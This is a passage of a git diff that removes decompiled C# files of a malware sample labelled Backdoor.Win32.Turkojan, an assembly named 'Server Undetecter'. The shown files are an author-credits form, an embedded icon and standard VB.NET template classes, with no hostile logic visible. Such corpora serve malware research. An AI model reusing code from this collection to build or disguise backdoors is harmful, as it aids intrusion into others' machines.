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 - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form2.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form2.cs deleted file mode 100644 index daef6570..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form2.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Server_Undetecter.Form2 -// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace Server_Undetecter -{ - [DesignerGenerated] - public class Form2 : Form - { - private IContainer components; - [AccessedThroughProperty("Label1")] - private Label _Label1; - - [DebuggerNonUserCode] - public Form2() => this.InitializeComponent(); - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.Label1 = new Label(); - this.SuspendLayout(); - this.Label1.BackColor = Color.Black; - this.Label1.Dock = DockStyle.Fill; - this.Label1.ForeColor = Color.DimGray; - this.Label1.Location = new Point(0, 0); - this.Label1.Name = "Label1"; - Label label1 = this.Label1; - Size size1 = new Size(162, 108); - Size size2 = size1; - label1.Size = size2; - this.Label1.TabIndex = 8; - this.Label1.Text = "<- Coded By FEDERIKO ->\r\nHattaß | Rapboy | FEDERIKO\r\n\r\nSelam Olsun: \r\nCWSuskun\r\nSefa Şeker\r\nLethea"; - this.Label1.TextAlign = ContentAlignment.MiddleCenter; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(162, 108); - this.ClientSize = size1; - this.Controls.Add((Control) this.Label1); - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (Form2); - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.StartPosition = FormStartPosition.CenterParent; - this.Text = "Hakkında"; - this.ResumeLayout(false); - } - - internal virtual Label Label1 - { - [DebuggerNonUserCode] get => this._Label1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; - } - } -} diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form2.resx b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form2.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/Form2.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MyApplication.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MyApplication.cs deleted file mode 100644 index cca1aeda..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Server_Undetecter.My.MyApplication -// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Server_Undetecter.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MyComputer.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MyComputer.cs deleted file mode 100644 index f6e4c4eb..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Server_Undetecter.My.MyComputer -// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Server_Undetecter.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MyProject.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MyProject.cs deleted file mode 100644 index dd290d09..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MyProject.cs +++ /dev/null @@ -1,230 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Server_Undetecter.My.MyProject -// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Server_Undetecter.My -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - public Form2 m_Form2; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - public Form2 Form2 - { - [DebuggerNonUserCode] get - { - this.m_Form2 = MyProject.MyForms.Create__Instance__(this.m_Form2); - return this.m_Form2; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form2) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form2); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MySettings.cs b/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MySettings.cs deleted file mode 100644 index fe801e42..00000000 --- a/MSIL/Backdoor/Win32/T/Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Server_Undetecter.My.MySettings -// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Server_Undetecter.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git 